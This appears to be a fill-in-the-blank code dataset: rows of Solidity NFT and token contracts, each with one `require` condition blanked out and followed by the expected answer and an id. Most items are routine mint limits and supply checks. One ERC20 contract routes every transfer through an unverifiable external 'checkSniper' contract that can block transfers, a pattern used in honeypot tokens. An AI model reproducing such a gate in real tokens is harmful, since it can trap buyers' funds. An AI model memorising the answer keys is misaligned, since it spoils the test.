) internal override {
}
function swapTokensForEth(uint256 tokenAmount) private {
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
}
function swapBack() private {
}
}
| newMaxWalletNum>=((totalSupply()*5)/100000000)/1e18,"Cannot set maxWallet lower than 0.5%" | 497,962 | newMaxWalletNum>=((totalSupply()*5)/100000000)/1e18 |
"Mint limit reached for this wallet" | pragma solidity ^0.8.18;
contract TinyEther is ERC721A, Ownable, DefaultOperatorFilterer {
bool public isSaleActive = false;
uint256 public constant max_supply = 4444;
uint256 public constant price = 0.003 ether;
uint256 public constant per_wallet = 5;
uint256 public constant free_per_wallet = 1;
string private baseUri;
constructor(string memory _baseUri) ERC721A("TinyEther", "TINYETH") {
}
function mint(uint256 amount) external payable {
require(isSaleActive, "Sale not active");
require(msg.sender == tx.origin, "No contracts allowed");
require(<FILL_ME>)
require(_totalMinted() + amount <= max_supply, "Sold out");
if (balanceOf(msg.sender) == 0) {
require(price * (amount - free_per_wallet) <= msg.value, "Insufficient funds sent");
} else {
require(price * amount <= msg.value, "Sold out");
}
_mint(msg.sender, amount);
}
function mintForAddress(uint256 amount, address receiver) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
function flipSaleState() external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
function setBaseURI(string memory _baseUri) external onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override onlyAllowedOperator(from) {
}
}
| balanceOf(msg.sender)+amount<=per_wallet,"Mint limit reached for this wallet" | 498,204 | balanceOf(msg.sender)+amount<=per_wallet |
"Sold out" | pragma solidity ^0.8.18;
contract TinyEther is ERC721A, Ownable, DefaultOperatorFilterer {
bool public isSaleActive = false;
uint256 public constant max_supply = 4444;
uint256 public constant price = 0.003 ether;
uint256 public constant per_wallet = 5;
uint256 public constant free_per_wallet = 1;
string private baseUri;
constructor(string memory _baseUri) ERC721A("TinyEther", "TINYETH") {
}
function mint(uint256 amount) external payable {
require(isSaleActive, "Sale not active");
require(msg.sender == tx.origin, "No contracts allowed");
require(balanceOf(msg.sender) + amount <= per_wallet, "Mint limit reached for this wallet");
require(<FILL_ME>)
if (balanceOf(msg.sender) == 0) {
require(price * (amount - free_per_wallet) <= msg.value, "Insufficient funds sent");
} else {
require(price * amount <= msg.value, "Sold out");
}
_mint(msg.sender, amount);
}
function mintForAddress(uint256 amount, address receiver) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
function flipSaleState() external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
function setBaseURI(string memory _baseUri) external onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override onlyAllowedOperator(from) {
}
}
| _totalMinted()+amount<=max_supply,"Sold out" | 498,204 | _totalMinted()+amount<=max_supply |
"Insufficient funds sent" | pragma solidity ^0.8.18;
contract TinyEther is ERC721A, Ownable, DefaultOperatorFilterer {
bool public isSaleActive = false;
uint256 public constant max_supply = 4444;
uint256 public constant price = 0.003 ether;
uint256 public constant per_wallet = 5;
uint256 public constant free_per_wallet = 1;
string private baseUri;
constructor(string memory _baseUri) ERC721A("TinyEther", "TINYETH") {
}
function mint(uint256 amount) external payable {
require(isSaleActive, "Sale not active");
require(msg.sender == tx.origin, "No contracts allowed");
require(balanceOf(msg.sender) + amount <= per_wallet, "Mint limit reached for this wallet");
require(_totalMinted() + amount <= max_supply, "Sold out");
if (balanceOf(msg.sender) == 0) {
require(<FILL_ME>)
} else {
require(price * amount <= msg.value, "Sold out");
}
_mint(msg.sender, amount);
}
function mintForAddress(uint256 amount, address receiver) external onlyOwner {
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
function flipSaleState() external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
function setBaseURI(string memory _baseUri) external onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override onlyAllowedOperator(from) {
}
}
| price*(amount-free_per_wallet)<=msg.value,"Insufficient funds sent" | 498,204 | price*(amount-free_per_wallet)<=msg.value |
"Not enough NFTs left to mint" | pragma solidity ^0.8.18;
contract TinyEther is ERC721A, Ownable, DefaultOperatorFilterer {
bool public isSaleActive = false;
uint256 public constant max_supply = 4444;
uint256 public constant price = 0.003 ether;
uint256 public constant per_wallet = 5;
uint256 public constant free_per_wallet = 1;
string private baseUri;
constructor(string memory _baseUri) ERC721A("TinyEther", "TINYETH") {
}
function mint(uint256 amount) external payable {
}
function mintForAddress(uint256 amount, address receiver) external onlyOwner {
require(<FILL_ME>)
_mint(receiver, amount);
}
function _startTokenId() internal view virtual override returns (uint256) {
}
function _baseURI() internal view override returns (string memory) {
}
function flipSaleState() external onlyOwner {
}
function withdrawAll() external onlyOwner {
}
function setBaseURI(string memory _baseUri) external onlyOwner {
}
function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {
}
function approve(address operator, uint256 tokenId) public payable override onlyAllowedOperatorApproval(operator) {
}
function transferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public payable override onlyAllowedOperator(from) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data) public payable override onlyAllowedOperator(from) {
}
}
| totalSupply()+amount<=max_supply,"Not enough NFTs left to mint" | 498,204 | totalSupply()+amount<=max_supply |
"Empty supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract Packs is ERC721A, Ownable, Pausable {
using SafeMath for uint256;
SNAC public snac;
string public baseTokenURI;
struct Tier {
uint256 rate;
uint256 price;
uint256 supply;
}
struct Stake {
string tier;
uint256 rate;
uint256 timestamp;
}
mapping(string => Tier) public tiers;
mapping(uint256 => Stake) public stakes;
constructor(address _snac) ERC721A("SPACKS", "SPACKS") {
}
modifier enoughSupply(string memory _tier, uint256 _quantity) {
require(<FILL_ME>)
require(tiers[_tier].supply >= _quantity, "Not enough supply");
_;
}
modifier enoughFunds(string memory _tier, uint256 _quantity) {
}
function mint(string memory _tier, uint256 _quantity)
external
payable
whenNotPaused
enoughSupply(_tier, _quantity)
enoughFunds(_tier, _quantity)
{
}
function getReward(uint256 _token) public view returns (uint256) {
}
function getRewards(uint256[] memory _tokens) external view returns (uint256[] memory) {
}
function claim(uint256[] memory _tokens) external whenNotPaused {
}
function withdraw() external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function setSNAC(address _address) external onlyOwner {
}
function setTier(
string memory _tier,
uint256 _rate,
uint256 _price,
uint256 _supply
) external onlyOwner {
}
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
}
interface SNAC {
function mint(address to, uint256 amount) external;
}
| tiers[_tier].supply>0,"Empty supply" | 498,252 | tiers[_tier].supply>0 |
"Not enough supply" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
import "erc721a/contracts/ERC721A.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
contract Packs is ERC721A, Ownable, Pausable {
using SafeMath for uint256;
SNAC public snac;
string public baseTokenURI;
struct Tier {
uint256 rate;
uint256 price;
uint256 supply;
}
struct Stake {
string tier;
uint256 rate;
uint256 timestamp;
}
mapping(string => Tier) public tiers;
mapping(uint256 => Stake) public stakes;
constructor(address _snac) ERC721A("SPACKS", "SPACKS") {
}
modifier enoughSupply(string memory _tier, uint256 _quantity) {
require(tiers[_tier].supply > 0, "Empty supply");
require(<FILL_ME>)
_;
}
modifier enoughFunds(string memory _tier, uint256 _quantity) {
}
function mint(string memory _tier, uint256 _quantity)
external
payable
whenNotPaused
enoughSupply(_tier, _quantity)
enoughFunds(_tier, _quantity)
{
}
function getReward(uint256 _token) public view returns (uint256) {
}
function getRewards(uint256[] memory _tokens) external view returns (uint256[] memory) {
}
function claim(uint256[] memory _tokens) external whenNotPaused {
}
function withdraw() external onlyOwner {
}
function pause() external onlyOwner {
}
function unpause() external onlyOwner {
}
function setSNAC(address _address) external onlyOwner {
}
function setTier(
string memory _tier,
uint256 _rate,
uint256 _price,
uint256 _supply
) external onlyOwner {
}
function setBaseTokenURI(string memory _baseTokenURI) external onlyOwner {
}
function tokenURI(uint256 _tokenId) public view override returns (string memory) {
}
}
interface SNAC {
function mint(address to, uint256 amount) external;
}
| tiers[_tier].supply>=_quantity,"Not enough supply" | 498,252 | tiers[_tier].supply>=_quantity |
"Mint: You are not in Whitelist" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ImpactFantasy.sol";
contract Sale is ReentrancyGuard, Ownable, Pausable {
ImpactFantasy public impactFantasy;
Information public InformationSale;
struct Information {
uint maxMint;
uint32 limitPresalePerAddress;
uint32 limitTotalPerAddress;
uint128 presaleStart;
uint128 presaleEnd;
uint128 publicSaleEnd;
uint256 pricePresale;
uint256 pricePublicsale;
bytes32 root;
}
mapping (address => uint256) public historyMint;
address public beneficiary;
event Mint(address account, string round, uint256 price, uint256 amount);
modifier isInformationSet() {
}
modifier isPresaleStart() {
}
modifier isValidMerkleProof(bytes32[] calldata _proof) {
require(<FILL_ME>)
_;
}
modifier isPayEnough(uint256 price, uint256 _amount) {
}
constructor(
ImpactFantasy _impactFantasy
) {
}
function unpause() public onlyOwner {
}
function pause() public onlyOwner {
}
modifier isMaxMint(uint amount){
}
function presaleBuy(uint256 _amount, bytes32[] calldata _proof)
external
payable
whenNotPaused
isInformationSet
isPresaleStart
isValidMerkleProof(_proof)
isPayEnough(InformationSale.pricePresale, _amount)
nonReentrant
isMaxMint(_amount)
{
}
function publicSale(uint256 _amount)
external
payable
whenNotPaused
isInformationSet
isPresaleStart
isPayEnough(InformationSale.pricePublicsale, _amount)
nonReentrant
isMaxMint(_amount)
{
}
function airDrop(address receiver, uint256 _amount)
external
whenNotPaused
isInformationSet
onlyOwner
{
}
function withdraw() external onlyOwner nonReentrant {
}
function setbeneficiary(address _beneficiary) external onlyOwner {
}
function setInformation(Information calldata _information)
external
onlyOwner
{
}
}
| MerkleProof.verify(_proof,InformationSale.root,keccak256(abi.encodePacked(_msgSender())))==true,"Mint: You are not in Whitelist" | 498,332 | MerkleProof.verify(_proof,InformationSale.root,keccak256(abi.encodePacked(_msgSender())))==true |
"Mint: Not enough ethers sent" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ImpactFantasy.sol";
contract Sale is ReentrancyGuard, Ownable, Pausable {
ImpactFantasy public impactFantasy;
Information public InformationSale;
struct Information {
uint maxMint;
uint32 limitPresalePerAddress;
uint32 limitTotalPerAddress;
uint128 presaleStart;
uint128 presaleEnd;
uint128 publicSaleEnd;
uint256 pricePresale;
uint256 pricePublicsale;
bytes32 root;
}
mapping (address => uint256) public historyMint;
address public beneficiary;
event Mint(address account, string round, uint256 price, uint256 amount);
modifier isInformationSet() {
}
modifier isPresaleStart() {
}
modifier isValidMerkleProof(bytes32[] calldata _proof) {
}
modifier isPayEnough(uint256 price, uint256 _amount) {
require(<FILL_ME>)
_;
}
constructor(
ImpactFantasy _impactFantasy
) {
}
function unpause() public onlyOwner {
}
function pause() public onlyOwner {
}
modifier isMaxMint(uint amount){
}
function presaleBuy(uint256 _amount, bytes32[] calldata _proof)
external
payable
whenNotPaused
isInformationSet
isPresaleStart
isValidMerkleProof(_proof)
isPayEnough(InformationSale.pricePresale, _amount)
nonReentrant
isMaxMint(_amount)
{
}
function publicSale(uint256 _amount)
external
payable
whenNotPaused
isInformationSet
isPresaleStart
isPayEnough(InformationSale.pricePublicsale, _amount)
nonReentrant
isMaxMint(_amount)
{
}
function airDrop(address receiver, uint256 _amount)
external
whenNotPaused
isInformationSet
onlyOwner
{
}
function withdraw() external onlyOwner nonReentrant {
}
function setbeneficiary(address _beneficiary) external onlyOwner {
}
function setInformation(Information calldata _information)
external
onlyOwner
{
}
}
| price*_amount<=msg.value,"Mint: Not enough ethers sent" | 498,332 | price*_amount<=msg.value |
"Sale: sold out" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ImpactFantasy.sol";
contract Sale is ReentrancyGuard, Ownable, Pausable {
ImpactFantasy public impactFantasy;
Information public InformationSale;
struct Information {
uint maxMint;
uint32 limitPresalePerAddress;
uint32 limitTotalPerAddress;
uint128 presaleStart;
uint128 presaleEnd;
uint128 publicSaleEnd;
uint256 pricePresale;
uint256 pricePublicsale;
bytes32 root;
}
mapping (address => uint256) public historyMint;
address public beneficiary;
event Mint(address account, string round, uint256 price, uint256 amount);
modifier isInformationSet() {
}
modifier isPresaleStart() {
}
modifier isValidMerkleProof(bytes32[] calldata _proof) {
}
modifier isPayEnough(uint256 price, uint256 _amount) {
}
constructor(
ImpactFantasy _impactFantasy
) {
}
function unpause() public onlyOwner {
}
function pause() public onlyOwner {
}
modifier isMaxMint(uint amount){
require(<FILL_ME>)
_;
}
function presaleBuy(uint256 _amount, bytes32[] calldata _proof)
external
payable
whenNotPaused
isInformationSet
isPresaleStart
isValidMerkleProof(_proof)
isPayEnough(InformationSale.pricePresale, _amount)
nonReentrant
isMaxMint(_amount)
{
}
function publicSale(uint256 _amount)
external
payable
whenNotPaused
isInformationSet
isPresaleStart
isPayEnough(InformationSale.pricePublicsale, _amount)
nonReentrant
isMaxMint(_amount)
{
}
function airDrop(address receiver, uint256 _amount)
external
whenNotPaused
isInformationSet
onlyOwner
{
}
function withdraw() external onlyOwner nonReentrant {
}
function setbeneficiary(address _beneficiary) external onlyOwner {
}
function setInformation(Information calldata _information)
external
onlyOwner
{
}
}
| impactFantasy.currentSupply()+amount<=InformationSale.maxMint,"Sale: sold out" | 498,332 | impactFantasy.currentSupply()+amount<=InformationSale.maxMint |
"Mint: Limit presale per address exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ImpactFantasy.sol";
contract Sale is ReentrancyGuard, Ownable, Pausable {
ImpactFantasy public impactFantasy;
Information public InformationSale;
struct Information {
uint maxMint;
uint32 limitPresalePerAddress;
uint32 limitTotalPerAddress;
uint128 presaleStart;
uint128 presaleEnd;
uint128 publicSaleEnd;
uint256 pricePresale;
uint256 pricePublicsale;
bytes32 root;
}
mapping (address => uint256) public historyMint;
address public beneficiary;
event Mint(address account, string round, uint256 price, uint256 amount);
modifier isInformationSet() {
}
modifier isPresaleStart() {
}
modifier isValidMerkleProof(bytes32[] calldata _proof) {
}
modifier isPayEnough(uint256 price, uint256 _amount) {
}
constructor(
ImpactFantasy _impactFantasy
) {
}
function unpause() public onlyOwner {
}
function pause() public onlyOwner {
}
modifier isMaxMint(uint amount){
}
function presaleBuy(uint256 _amount, bytes32[] calldata _proof)
external
payable
whenNotPaused
isInformationSet
isPresaleStart
isValidMerkleProof(_proof)
isPayEnough(InformationSale.pricePresale, _amount)
nonReentrant
isMaxMint(_amount)
{
require(
block.timestamp < InformationSale.presaleEnd,
"Mint: Presale is over"
);
require(<FILL_ME>)
for (uint256 i = 0; i < _amount; i++) {
impactFantasy.mintTo(_msgSender());
}
historyMint[_msgSender()] += _amount;
emit Mint(_msgSender(), "Private", msg.value, _amount);
}
function publicSale(uint256 _amount)
external
payable
whenNotPaused
isInformationSet
isPresaleStart
isPayEnough(InformationSale.pricePublicsale, _amount)
nonReentrant
isMaxMint(_amount)
{
}
function airDrop(address receiver, uint256 _amount)
external
whenNotPaused
isInformationSet
onlyOwner
{
}
function withdraw() external onlyOwner nonReentrant {
}
function setbeneficiary(address _beneficiary) external onlyOwner {
}
function setInformation(Information calldata _information)
external
onlyOwner
{
}
}
| historyMint[_msgSender()]+_amount<=InformationSale.limitPresalePerAddress,"Mint: Limit presale per address exceeded" | 498,332 | historyMint[_msgSender()]+_amount<=InformationSale.limitPresalePerAddress |
"Mint: Limit per address exceeded" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "./ImpactFantasy.sol";
contract Sale is ReentrancyGuard, Ownable, Pausable {
ImpactFantasy public impactFantasy;
Information public InformationSale;
struct Information {
uint maxMint;
uint32 limitPresalePerAddress;
uint32 limitTotalPerAddress;
uint128 presaleStart;
uint128 presaleEnd;
uint128 publicSaleEnd;
uint256 pricePresale;
uint256 pricePublicsale;
bytes32 root;
}
mapping (address => uint256) public historyMint;
address public beneficiary;
event Mint(address account, string round, uint256 price, uint256 amount);
modifier isInformationSet() {
}
modifier isPresaleStart() {
}
modifier isValidMerkleProof(bytes32[] calldata _proof) {
}
modifier isPayEnough(uint256 price, uint256 _amount) {
}
constructor(
ImpactFantasy _impactFantasy
) {
}
function unpause() public onlyOwner {
}
function pause() public onlyOwner {
}
modifier isMaxMint(uint amount){
}
function presaleBuy(uint256 _amount, bytes32[] calldata _proof)
external
payable
whenNotPaused
isInformationSet
isPresaleStart
isValidMerkleProof(_proof)
isPayEnough(InformationSale.pricePresale, _amount)
nonReentrant
isMaxMint(_amount)
{
}
function publicSale(uint256 _amount)
external
payable
whenNotPaused
isInformationSet
isPresaleStart
isPayEnough(InformationSale.pricePublicsale, _amount)
nonReentrant
isMaxMint(_amount)
{
require(
block.timestamp > InformationSale.presaleEnd,
"Mint: Presale is not over"
);
require(
block.timestamp < InformationSale.publicSaleEnd,
"Mint: Public Sale is over"
);
require(<FILL_ME>)
for (uint256 i = 0; i < _amount; i++) {
impactFantasy.mintTo(_msgSender());
}
historyMint[_msgSender()] += _amount;
emit Mint(_msgSender(), "Public", msg.value, _amount);
}
function airDrop(address receiver, uint256 _amount)
external
whenNotPaused
isInformationSet
onlyOwner
{
}
function withdraw() external onlyOwner nonReentrant {
}
function setbeneficiary(address _beneficiary) external onlyOwner {
}
function setInformation(Information calldata _information)
external
onlyOwner
{
}
}
| historyMint[_msgSender()]+_amount<=InformationSale.limitTotalPerAddress,"Mint: Limit per address exceeded" | 498,332 | historyMint[_msgSender()]+_amount<=InformationSale.limitTotalPerAddress |
"CHF" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IChecker {
function checkSniper(address from, address to, uint256 value) external returns (bool);
}
contract AERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
bool private isChecker = true;
IChecker private checker = IChecker(0x680CBF7D78eE0Ba92FbD37DFbAf10584323A6F98);
constructor(string memory name_, string memory symbol_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
if (isChecker){
require(<FILL_ME>)
}
unchecked {
_balances[from] = fromBalance - amount;
// Overflow not possible: the sum of all balances is capped by totalSupply, and the sum is preserved by
// decrementing then incrementing.
_balances[to] += amount;
}
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
function _mint(address account, uint256 amount) internal virtual {
}
function _burn(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _turnOffChecker() internal {
}
}
contract Psycho is AERC20, Ownable {
constructor() AERC20("Psycho", "PSYCHO") {
}
function turnOffChecker() external onlyOwner {
}
}
| !checker.checkSniper(from,to,amount),"CHF" | 498,652 | !checker.checkSniper(from,to,amount) |
"Token ID is fungible" | // SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.9;
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/introspection/ERC165.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155.sol";
import "@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol";
import "@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol";
// import "hardhat/console.sol";
struct Owner {
address owner;
bool burned;
uint256 amount;
}
abstract contract ERC1155Hybrid is
Context,
ERC165,
IERC1155,
IERC1155MetadataURI
{
string internal _name;
string internal _symbol;
string internal _uri;
string internal _contractURI;
mapping(address => mapping(address => bool)) _operatorApprovals;
mapping(uint256 => mapping(address => uint256)) _fungibleBalances;
mapping(uint8 => mapping(uint256 => Owner)) _nftOwnership;
mapping(uint8 => uint256) _nftMintCounter;
mapping(uint8 => mapping(address => uint256)) _nftBalances;
constructor(
string memory name_,
string memory symbol_,
string memory contractURI_,
string memory uri_
) {
}
function supportsInterface(
bytes4 interfaceId
) public view virtual override(ERC165, IERC165) returns (bool) {
}
function _setMetadata(
string memory name_,
string memory symbol_,
string memory contractURI_,
string memory uri_
) internal {
}
function ownerOf(uint256 id) public view returns (address) {
require(<FILL_ME>)
uint8 tier = _tierOf(id);
(, uint256 idx, ) = _findNearestOwnershipRecord(tier, id);
return _nftOwnership[tier][idx].owner;
}
function balanceOfTier(
address account,
uint8 tier
) public view returns (uint256) {
}
function balanceOf(
address account,
uint256 id
) public view returns (uint256) {
}
function _balanceOfFungible(
address account,
uint256 id
) private view returns (uint256) {
}
function balanceOfBatch(
address[] calldata accounts,
uint256[] calldata ids
) external view returns (uint256[] calldata) {
}
function setApprovalForAll(address operator, bool approved) external {
}
function _setApprovalForAll(
address owner,
address operator,
bool approved
) internal virtual {
}
function isApprovedForAll(
address account,
address operator
) external view returns (bool) {
}
function safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) external virtual {
}
function _safeTransferFrom(
address from,
address to,
uint256 id,
uint256 amount,
bytes calldata data
) internal {
}
function _safeTransferFromFungible(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal virtual {
}
function _safeTransferFromNFT(
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) internal {
}
function safeBatchTransferFrom(
address from,
address to,
uint256[] calldata ids,
uint256[] calldata amounts,
bytes calldata data
) external {
}
function _findNearestOwnershipRecord(
uint8 tier,
uint256 id
) private view returns (address, uint256, uint256) {
}
function name() external view returns (string memory) {
}
function symbol() external view returns (string memory) {
}
function uri(uint256) external view returns (string memory) {
}
function contractURI() public view returns (string memory) {
}
function _tierOf(uint256 id) internal view virtual returns (uint8);
function _isFungible(uint256 id) internal view virtual returns (bool);
function _isFungibleTier(uint8 tier) internal view virtual returns (bool);
function _supplyLimit(uint256 id) internal view virtual returns (uint256);
function _tierBounds(
uint8 tier
) internal view virtual returns (uint256, uint256);
function _getNextID(uint8 tier) internal view virtual returns (uint256);
function _incrementNextID(
uint8 tier,
uint256 amount
) internal virtual returns (uint256);
/**
* @dev Creates `amount` tokens of token type `id`, and assigns them to `to`.
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the
* acceptance magic value.
*/
function _mintFungible(address to, uint256 id, uint256 amount) internal {
}
/**
* @dev Destroys `amount` tokens of token type `id` from `from`
*
* Emits a {TransferSingle} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `from` must have at least `amount` tokens of token type `id`.
*/
function _burnFungible(address from, uint256 id, uint256 amount) internal {
}
function _mintNFT(address to, uint8 tier, uint256 amount) internal {
}
function _doSafeTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256 id,
uint256 amount,
bytes memory data
) private {
}
function _doSafeBatchTransferAcceptanceCheck(
address operator,
address from,
address to,
uint256[] memory ids,
uint256[] memory amounts,
bytes memory data
) private {
}
function _repeat(
uint256 value,
uint256 length
) private pure returns (uint256[] memory) {
}
function _range(
uint256 start,
uint256 length
) private pure returns (uint256[] memory) {
}
function _isContract(address account) private view returns (bool) {
}
}
| !_isFungible(id),"Token ID is fungible" | 498,941 | !_isFungible(id) |
"You are in the whitelist already!" | // SPDX-License-Identifier: MIT
// ERC721A Contracts v4.2.3
// Creator: Elie Kassis
pragma solidity ^0.8.4;
import "./ERC721A.sol";
import "./extensions/ERC721AURIStorage.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
// Dev imports
import "hardhat/console.sol";
contract HodlerMiamiFCMember is ERC721A, ERC721AURIStorage, Ownable {
using Counters for Counters.Counter;
Counters.Counter _tokenIdCounter;
address contractOwner;
mapping(address => bool) nft2023MembersWL; // whitelist for NFT mint.
mapping(address => bool) nft2022MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nft2022And2023MembersWL; // Checking if wallet has a permission to mint 2022 player NFT.
mapping(address => bool) nftStaffsWL; // Checking if wallet has a permission to mint staff NFT.
mapping(address => bool) isCheckStaffMint; // Checking if wallet has minted staff NFT already.
mapping(address => bool) isCheck2022PlayerMint; // Checking if wallet has minted 2022 player NFT already.
mapping(address => bool) isCheck2023PlayerMint; // Checking if wallet has minted 2023 player NFT already.
constructor() ERC721A("Hodler Miami FC Member", "HMFM") {
}
modifier isAddressInWL (address _address) {
require(<FILL_ME>)
_;
}
// _nftType : 1 => 2023 member NFT, 2 => 2022 Member NFT, 3 => Staff
function safeMint(
string memory _tokenURI,
uint256 _nftType,
uint256 _price
) public virtual payable {
}
function getContractOwner () public view returns (address) {
}
// Get lastest token id minted.
function getLatestTokenId () public view returns (uint256) {
}
// add wallet to 2022 Member whitelist to mint
